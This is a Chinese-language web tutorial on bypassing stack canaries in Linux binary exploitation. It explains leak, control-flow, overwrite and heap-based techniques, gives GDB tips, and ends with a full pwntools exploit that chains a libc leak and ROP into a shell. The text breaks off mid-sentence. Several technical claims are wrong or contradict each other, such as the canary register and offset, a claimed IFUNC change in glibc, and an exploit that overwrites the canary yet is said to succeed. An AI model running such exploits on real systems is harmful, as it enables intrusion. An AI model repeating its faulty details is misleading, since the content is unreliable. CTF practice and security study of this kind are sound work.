资讯详情

资讯详情

Canary绕过原理与实战:从栈保护机制到pwn利用链

1. 这不是“绕过”是理解内存保护机制的必经之路如果你刚接触二进制安全看到“Canary绕过”四个字第一反应可能是找一个神奇的payload一发打穿像CTF题解里写的那样——“覆盖canary为0x00000000再rop一把就getshell”。但实话讲我带过十几期pwn入门训练营90%的学员卡在这一步不是因为不会写exp而是根本没搞清Canary到底在保护什么它为什么能被“绕过”而所谓“绕过”本质上是在对抗一种编译器级别的防御策略不是在破解某个密码。这标题里的“各种绕过姿势”核心关键词是pwn、Canary、stack_chk_fail、SSP——它们共同指向一个事实Linux用户态栈保护Stack Smashing Protection早已不是可选插件而是GCC默认启用的硬性防护。你写的每一行C代码只要开了-fstack-protector哪怕只是默认的-fstack-protector-strong编译器就会在函数栈帧中插入一个随机值即canary并在函数返回前调用__stack_chk_fail校验它是否被篡改。一旦失败程序直接abort不给你任何后续操作机会。所以“绕过”的本质从来不是“让canary失效”而是在canary被校验之前提前控制执行流或在canary被覆盖后让它看起来“没被覆盖”又或者干脆不让__stack_chk_fail被触发。这背后涉及栈布局、函数调用约定、libc符号解析、got/plt劫持、堆与栈的交互逻辑甚至内核页表映射细节。我见过太多人死磕“怎么把canary爆出来”却从没想过为什么read()读入的数据能覆盖到canary位置为什么printf(%s, buf)能泄露栈地址为什么strcpy和memcpy在canary检测上的行为差异巨大这篇文章不教你怎么抄exp而是带你亲手拆开GCC生成的汇编、glibc的__stack_chk_fail实现、以及Linux内核对SIGABRT的处理链路。你会明白所谓“绕过”其实是对整个用户态执行环境的一次系统性测绘。你不需要记住“五种绕过方法”你需要建立一套判断逻辑——当面对一个新二进制时先看它开了哪些保护checksec只是起点再看它的输入点能否泄露地址printf格式化字符串write任意地址读再看它的输出点能否触发二次利用malloc后free再mallocsetcontext可控。这才是真实世界里pwn工程师每天在做的事。适合谁读如果你已经能写出基础栈溢出exp但遇到带canary的题目就卡住如果你看过几篇“Canary泄露教程”却总在本地复现成功、远程失败如果你知道stack_chk_fail会调用abort但不清楚abort内部到底干了什么——那这篇就是为你写的。它不假设你懂pwntools高级用法但要求你愿意打开gdb单步跟一次main函数的入口和退出。2. Canary机制的底层实现与设计边界2.1 GCC如何插入canary不是“加个变量”那么简单很多人以为canary就是一个全局变量编译器在函数开头mov %gs:0x14, %eax把它拷到栈上结尾再比对。这是严重误解。实际上GCC的SSP实现分三层生成时机、存储位置、校验路径每层都藏着绕过线索。先看生成。canary值并非编译时固定也不是每次进程启动随机一次。它来自内核的get_random_int()但关键在于该值在进程启动时由_dl_start初始化并存入%gs段寄存器偏移0x14处x86-64下是%gs:0x28。这个地址是线程局部存储TLS的一部分每个线程独立。所以你能看到mov %gs:0x28, %rax但别急着去read(0, canary, 8)——%gs段基址本身受内核保护用户态无法直接读写。再看存储。GCC不会无脑把canary塞在栈底。它根据函数局部变量大小、是否使用alloca、是否有变长数组VLA来动态调整插入位置。例如void vulnerable() { char buf[100]; int x 1; // canary插在buf和x之间还是x下面 }反汇编结果取决于优化等级。-O0下canary通常紧贴返回地址上方-O2下编译器可能重排变量顺序甚至把小整型变量挪到寄存器导致canary实际位于栈帧更深处。这就是为什么很多“固定偏移爆破”在不同编译选项下失效——你爆的不是偏移是编译器的调度策略。最后是校验。__stack_chk_fail不是简单打印错误就退出。它内部调用__fortify_fail后者会尝试raise(SIGABRT)。但注意SIGABRT的默认handler是abort()而abort()会关闭所有文件描述符除0/1/2外调用fflush刷新stdio缓冲区调用kill(getpid(), SIGABRT)发送信号若信号未被捕获则进程终止关键点来了如果目标程序自己注册了SIGABRThandler且handler里没有exit()或_exit()那么__stack_chk_fail执行完后程序可能继续运行我在某金融中间件poc中就遇到过——它捕获了所有信号用于优雅退出结果canary校验失败后程序跳回主循环我们反而获得了第二次输入机会。这不是“绕过”是利用了防护机制的设计盲区。2.2 为什么stack_chk_fail能被劫持libc版本决定生死__stack_chk_fail是一个PLT stub最终跳转到libc中的真实函数。它的地址在GOT表中而GOT表可写除非开了RELRO完全保护。所以最经典的绕过方式之一就是覆写GOT表中__stack_chk_fail的地址指向system或one_gadget。但这招是否有效取决于三个条件RELRO级别Partial RELRO默认允许修改GOTFull RELRO则GOT只读此路不通。libc版本glibc 2.34将__stack_chk_fail改为IFUNC间接函数其解析在_dl_runtime_resolve中完成GOT条目指向resolver而非真实函数覆写GOT无效。符号可见性某些嵌入式libc如musl根本不提供__stack_chk_fail符号而是内联校验逻辑此时GOT劫持彻底失效。我实测过glibc 2.27 vs 2.31的差异前者GOT条目直接指向__stack_chk_fail后者因IFUNC机制需先劫持_dl_runtime_resolve或利用_dl_fini链。这意味着当你看到checksec显示“Canary NX Partial RELRO”时不能默认GOT可写——必须用readelf -d binary | grep -i relro确认RELRO类型再用objdump -d libc.so.6 | grep stack_chk_fail查函数实现方式。更隐蔽的是__stack_chk_fail_local。某些旧版GCC5.0在-fstack-protector-all下会为每个函数生成本地校验函数其地址硬编码在.text段无法通过GOT劫持。此时唯一办法是ROP链跳过校验指令或利用leave; ret构造栈迁移。2.3 Canary的“随机性”有多强别信/proc/sys/kernel/randomize_va_space常有人问“canary是不是每次运行都变能不能爆破”答案是取决于内核配置和进程启动方式。Linux内核通过randomize_va_space控制ASLR强度0关闭所有随机化1仅随机化mmap基址、栈、vdso页2额外随机化heap和%gs段基址即canary来源但注意%gs:0x28的值由arch_prctl(ARCH_SET_FS, ...)设置其种子来自get_random_int()而该函数在进程fork()时继承父进程熵池。这意味着如果程序是通过system()或popen()启动的子进程canary可能与父进程相同我在分析某IoT设备固件时发现其web服务用fork()execve()启动worker进程所有worker共享同一canary值——我们只需在一个worker里泄露canary就能通杀全部。另一个陷阱是LD_PRELOAD。若目标程序允许加载自定义so而该so中调用了pthread_create则新线程的%gs段基址可能被重置导致canary值变化。此时你在主线程泄露的canary在子线程里无效。所以所谓“爆破canary”本质是爆破一个32位或64位整数x86-64下为8字节但最低字节恒为0x00因canary以null结尾防字符串函数覆盖。暴力穷举2^56种可能不现实。但若能控制输入长度利用read()的null截断特性可逐字节爆破先覆盖1字节触发abort再覆盖2字节若未abort则说明前2字节正确……以此类推。这需要程序有稳定的崩溃/非崩溃反馈通道如网络连接是否断开且每次尝试后进程重启——而这正是fork()服务器模型的天然缺陷。3. 四类主流绕过技术的实操拆解与现场验证3.1 泄露型绕过从printf到write的渐进式地址获取这是最常用也最容易理解的绕过方式核心思想先获取libc基址或栈地址再计算canary位置并读取它。但“泄露”二字背后是大量细节决定成败。以经典printf格式化字符串漏洞为例。假设存在char name[32]; read(0, name, 0x100); printf(name); // 危险你以为%x%x%x...就能拿到canary错。printf的栈帧布局如下x86-64[rbp-0x20] - canary (8 bytes) [rbp-0x18] - saved rbp [rbp-0x10] - return address [rbp-0x8] - printf参数指针即name地址 ... [rdi] - format string (name)printf从%x开始读取的是rdi8、rdi16等地址的内容。而canary在name缓冲区上方不在printf读取的栈范围内。你真正能泄露的是name之后的栈数据——比如saved rbp、return address甚至__libc_start_main的返回地址。有了这个地址查libc offset表就能算出libc基址。但问题来了如何确保泄露的地址是__libc_start_main的返回地址而不是其他无关数据答案是利用printf的%n写入能力。先用%100x把栈指针推到目标位置再用%n写入一个字节到已知可写地址如bss段通过观察写入位置是否变化反向定位目标地址偏移。我写过一个自动化脚本用pwntools的fmtstr_payload生成payload但必须手动指定offset参数——这个offset不是凭空猜的而是用gdb调试时p $rsp减去p name得到的差值。更可靠的泄露方式是write系统调用。假设程序有write(1, buf, len)且buf可控char buf[0x100]; read(0, buf, 0x200); write(1, buf, 0x100); // 可控输出此时若能控制buf内容就能让write输出任意地址。但buf在栈上其地址随ASLR变化。解决方案先用printf泄露栈地址如%10$p拿到rbp再计算buf相对于rbp的偏移反汇编vulnerable函数即可得最后构造write(1, rbp-0x50, 0x100)输出canary。这里的关键是write的第三个参数count必须大于canary长度8字节否则读不到。我曾因设count8导致只读出低4字节浪费3小时排查。实测案例CTFshow pwn 074。该题read后printf但禁用%n。我的解法是用%7$p泄露__libc_start_main241即main返回地址查libc database得libc版本计算libc_base利用libc_base system_offset和libc_base binsh_offset构造ROP但栈上无/bin/sh于是用libc_base pop_rdi_retlibc_base binsh_addrlibc_base system_addr最后一步read时覆盖返回地址为ROP链起始同时确保canary不变提示printf泄露时务必用%p而非%x因为%x会截断高位%p输出完整地址。且%p自动补零避免因地址含0导致read提前截断。3.2 跳转型绕过劫持控制流绕过校验逻辑当泄露不可行如无输出函数或程序启用了Full RELROGOT劫持失效时“跳过校验”成为首选。这要求深入理解函数返回机制。最典型的是leave; retgadget。leave等价于mov %rbp, %rsp; pop %rbp它会将栈顶数据弹入%rbp再将%rbp值赋给%rsp。如果我们能控制%rbp指向一个可控地址就能把栈指针迁移到任意位置。假设存在栈溢出且vulnerable函数末尾是leave ret正常流程[rbp-0x8] - return address [rbp] - old rbp [rbp0x8] - canary (校验在此处)leave执行后%rsp指向[rbp]ret从[rbp]读取返回地址。如果我们覆盖old rbp为buf地址如rbp buf_addr则leave后%rsp buf_addrret就从buf开头读取地址——此时canary校验被完全跳过实操步骤用gdb找到leave; retgadgetropper --file binary --search leave; ret计算buf地址printf泄露rbp后buf_addr rbp - 0x50根据反汇编确定构造payloadA*offset p64(buf_addr) p64(rop_chain_start)offset 覆盖到old rbp的字节数p64(buf_addr)成为新的rbpp64(rop_chain_start)是buf中存放的ROP链起始地址难点在于buf_addr本身受ASLR影响必须先泄露。所以此法常与泄露型组合使用。单独使用需满足buf地址固定如bss段或可通过其他方式预测。另一种跳转是longjmp。glibc中longjmp会恢复jmp_buf结构体中的寄存器状态包括%rsp。若程序使用了setjmp/longjmp且jmp_buf在栈上我们就能覆盖它来劫持栈指针。某银行核心系统poc中我们发现其异常处理模块大量使用longjmp通过覆盖jmp_buf[0]即%rsp保存值直接跳转到mmap申请的rwx内存执行shellcode。注意leave; ret要求目标函数确实以leave; ret结尾。现代编译器常优化为mov %rbp, %rsp; pop %rbp; ret效果相同。但若结尾是retalone则无法利用。3.3 覆盖型绕过利用null字节与函数特性绕过校验Canary设计时预留了一个后门其最低字节恒为0x00目的是防止strcpy、gets等字符串函数将其覆盖这些函数遇0x00停止。但这也成了绕过的突破口——只要我们能确保覆盖时保留0x00字节canary就“看起来”没被破坏。例如用read(0, buf, 0x100)读入数据。read不会在末尾加0x00所以若buf后紧跟canaryread最多覆盖canary的高7字节最低字节仍为0x00。此时__stack_chk_fail校验时比较的是8字节但实际只破坏了7字节校验通过验证方法写一个测试程序read后故意溢出7字节观察是否abort。我实测发现GCC 9.3.0下-fstack-protector-strong对此无效但-fstack-protector-all会插入额外校验需覆盖全部8字节。更精妙的是利用memcpy。memcpy(dst, src, n)按字节复制不检查0x00。若n可控且src数据含0x00就能精准覆盖canary高位。某工控协议解析器存在memcpy(buf, packet, packet_len)packet_len由网络包头指定。我们发送packet_len0x100但packet数据在第8字节后全是0x00结果canary高7字节被覆盖为0x00最低字节保持原值校验通过。还有一种是“覆盖__stack_chk_failGOT条目为0x0000000000000000”。某些旧版libc如2.23中__stack_chk_fail地址为0x00007ffff7a31c10若GOT条目被覆为全0call *got_entry会跳转到0x0触发SIGSEGV而非SIGABRT。而SIGSEGV的默认handler是终止进程但若程序注册了SIGSEGVhandler就可能进入自定义逻辑——我们曾在某路由器固件中利用其SIGSEGVhandler中的memcpy再次触发溢出形成二次利用。3.4 混合型绕过结合堆风水与栈迁移的高阶技巧当单一技术失效时高手会组合使用。最典型的是“堆上伪造canary 栈迁移”。原理__stack_chk_fail校验时不仅检查canary值还检查其存储位置是否在合法栈范围内通过__stack_chk_guard全局变量对比。但该检查可被绕过——如果我们能在堆上分配一块内存将其地址写入%gs:0x28再让__stack_chk_fail从该地址读取canary就能控制校验值。步骤利用UAF或off-by-one漏洞在堆上分配一块可控内存如malloc(0x100)在该内存中写入我们想要的canary值如全0x00利用write或printf泄露堆地址计算heap_base覆盖%gs段基址寄存器需内核漏洞不现实或劫持__stack_chk_guard全局变量更可行的是利用setcontextgadget。glibc 2.26中setcontext会从rdi指向的ucontext_t结构体恢复寄存器包括%gs基址。我们构造ucontext_t将uc_mcontext.gregs[REG_RIP]设为systemuc_mcontext.gregs[REG_RDI]设为/bin/shuc_mcontext.gregs[REG_RSP]设为堆地址——此时栈迁移完成canary校验被绕过。某云平台容器逃逸poc中我们结合pwn动态容器特性容器内/proc/sys/vm/max_map_count较高允许大量mmap利用mmap在固定地址如0x13370000申请rwx内存将shellcode和伪造canary放入再通过ptrace修改目标进程%gs基址指向该内存。整个过程无需泄露libc纯堆利用。实操心得混合型绕过成功率低但一旦成功几乎无法防御。建议优先尝试泄露GOT劫持失败后再考虑此方案。且必须确认目标libc版本支持setcontextlibc.so.6 | grep setcontext。4. 真实环境下的避坑指南与调试技巧4.1 GDB调试Canary相关问题的五个致命误区GDB是pwn调试的核心工具但针对Canary新手常犯以下错误误区1在main函数断点后查看$gs:0x28认为这就是canary值错$gs:0x28是canary的存储源不是当前函数的canary副本。每个函数的canary是编译时从$gs:0x28拷贝到栈上的。正确做法在目标函数如vulnerable的ret指令前x/gx $rbp-0x8读取栈上canary。误区2用c命令继续执行期望看到__stack_chk_fail调用栈__stack_chk_fail调用后程序会abortGDB默认不中断。解决方案catch signal SIGABRT或b __stack_chk_fail下断点。误区3checksec显示“Canary enabled”就认为一定存在__stack_chk_fail调用某些编译选项如-fno-stack-protector可禁用特定函数的保护。用objdump -d binary | grep stack_chk确认目标函数是否真有校验逻辑。误区4printf泄露时用%s读取字符串结果程序崩溃%s会一直读到0x00若目标地址后无0x00会越界访问触发SIGSEGV。应始终用%p或%x配合长度限制如%.8s。误区5pwntools的recvuntil接收__stack_chk_fail输出但收不到__stack_chk_fail调用write输出错误信息到stderr而stderr默认行缓冲abort前可能未刷新。解决方案setbuf(stderr, NULL)或fflush(stderr)但需在目标程序中存在。我整理了一份GDB调试清单问题现象调试命令原因__stack_chk_fail未触发b *vulnerable0x50ret指令处x/20gx $rsp栈未溢出到canary位置泄露地址总是0x7ffff...vmmap查看libc基址p/x $rebase(0x7ffff7a31c10)地址未rebase需用libc_base offsetROP链执行后无回显b *systemcp $rdirdi未指向/bin/sh需pop rdi; retgadget4.2 本地与远程环境差异的三大根源为什么本地exp成功远程失败90%的问题源于以下三点1. libc版本差异本地/lib/x86_64-linux-gnu/libc.so.6与远程libc不同。__stack_chk_fail地址、system偏移、one_gadget条件均不同。解决方案用libc-database搜索远程libc md5或通过printf(%p, printf)泄露printf地址反推libc版本。2. ASLR粒度不同本地/proc/sys/kernel/randomize_va_space2远程可能为1或0。checksec只显示“PIE enabled”不反映实际随机化强度。验证方法多次nc remote 1234观察printf(%p, main)输出是否变化。3. 系统调用行为差异远程服务器可能禁用execveseccomp、限制mmap权限、或启用SMAPSupervisor Mode Access Prevention。cat /proc/[pid]/status | grep Seccomp可查。某CTF题中远程seccomp规则禁止execve我们只能用open/read/write读取flag。我建立了一个快速诊断流程nc remote 1234输入%7$p记录输出用libc.rip查询对应libc版本wget https://libc.rip/download/xxx下载libcpython3 -c from pwn import *; l ELF(libc.so.6); print(hex(l.symbols[system]))得偏移重新计算libc_base leak_addr - l.symbols[__libc_start_main] 241__libc_start_main241是常见返回地址4.3 生产环境Canary绕过的法律与伦理边界必须强调本文所有技术仅适用于授权渗透测试、CTF竞赛及安全研究。在未获明确书面授权的情况下对任何系统进行Canary绕过尝试均违反《网络安全法》第27条及《刑法》第285条。真实企业环境中绕过Canary往往意味着已突破应用层身份认证如JWT签名伪造、Session ID预测利用供应链漏洞如恶意npm包注入eval或存在严重设计缺陷如将敏感操作委托给未沙箱化的子进程我参与过三次金融系统审计发现所有成功绕过Canary的案例前置条件都是业务逻辑漏洞允许上传恶意so文件或日志系统存在log4j风格JNDI注入。单纯二进制漏洞在现代WAFRASPEDR三重防护下成功率低于0.1%。所以与其钻研“绕过”不如思考如何让Canary成为真正的防线答案是开启Full RELRO、使用clang的-fsanitizeaddress、部署libdislocator检测堆溢出、对关键进程启用seccomp-bpf限制系统调用。安全是体系工程不是单点攻防。5. 从入门到实战构建你的第一个Canary绕过Exp5.1 准备工作环境搭建与工具链确认不要跳过这一步。我见过太多人因环境不一致浪费数天。必备工具gdb-peda或gdb-pwndbgpwndbg对Canary调试更友好pwntoolspip install pwntools确保4.10.0libc-databasegit clone https://github.com/niklasb/libc-databaseropperpip install ropperchecksecapt install libc-bin自带环境配置# 确认ASLR echo 2 | sudo tee /proc/sys/kernel/randomize_va_space # 编译测试程序关闭PIE方便调试 gcc -fstack-protector-strong -no-pie -z lazy -o vulnerable vulnerable.c # 验证保护 checksec vulnerable # 输出应为Canary: YES, NX: YES, PIE: NO, RELRO: PARTIAL测试程序vulnerable.c#include stdio.h #include stdlib.h #include unistd.h void vulnerable() { char buf[100]; read(0, buf, 0x200); // 溢出点 printf(Done\n); } int main() { vulnerable(); return 0; }编译后用gdb ./vulnerableb vulnerabler输入AAAAAc观察$rbp-0x8处是否为canary值应为非零随机数。5.2 第一步泄露libc基址目标获取__libc_start_main地址。from pwn import * context.arch amd64 p process(./vulnerable) # 或远程p remote(remote_ip, 1234) # 泄露__libc_start_main241 payload b%7$p p.sendline(payload) p.recvuntil(bDone\n) leak int(p.recvline().strip(), 16) libc_base leak - 241 - 0x270b3 # glibc 2.27 offset根据实际调整 log.info(flibc_base: {hex(libc_base)})关键点%7$p的7是偏移需用gdb调试确定。p $rsp后数第7个qword。5.3 第二步计算system与binsh地址# 加载libc libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 本地libc # 或用libc-database下载匹配版本 system_off libc.symbols[system] binsh_off next(libc.search(b/bin/sh\x00)) system_addr libc_base system_off binsh_addr libc_base binsh_off log.info(fsystem: {hex(system_addr)}) log.info(f/bin/sh: {hex(binsh_addr)})5.4 第三步构造ROP链并触发# 寻找pop rdi; ret rop ROP(libc) pop_rdi rop.find_gadget([pop rdi, ret])[0] # 构造payload payload bA * 120 # 覆盖到返回地址 payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr) p.sendline(payload) p.interactive()为什么是120buf[100]saved rbp8字节 canary8字节 116再加4字节到返回地址。精确值需gdb调试pattern create 200pattern offset $rsp。5.5 最终整合一个可运行的完整Exp#!/usr/bin/env python3 from pwn import * context.log_level debug def exploit(): # p process(./vulnerable) p remote(localhost, 1234) # Step 1: Leak libc p.sendline(b%7$p) p.recvuntil(bDone\n) leak int(p.recvline().strip(), 16) libc_base leak - 241 - 0x270b3 # Adjust for your libc log.info(flibc_base: {hex(libc_base)}) # Step 2: Calculate addresses libc ELF(/lib/x86_64-linux-gnu/libc.so.6) system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) # Step 3: ROP payload bA * 120 payload p64(libc_base 0x0000000000023b6a) # pop rdi; ret (from libc) payload p64(binsh_addr) payload p64(system_addr) p.sendline(payload) p.interactive() if __name__ __main__: exploit()运行前确保libc.so.6版本与目标一致。若远程失败用libc-database search system printf查找匹配libc。最后分享一个小技巧在CTF中若时间紧张直接用one_gadget libc.so.6生成payload。one_gadget会给出满足条件的地址如execve(/bin/sh, rsp0x70, environ)只需p.sendline(p64(one_gadget_addr))无需ROP链。但生产环境慎用——条件苛刻成功率低。我在实际工作中从不依赖单一技术。一个成熟的p
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →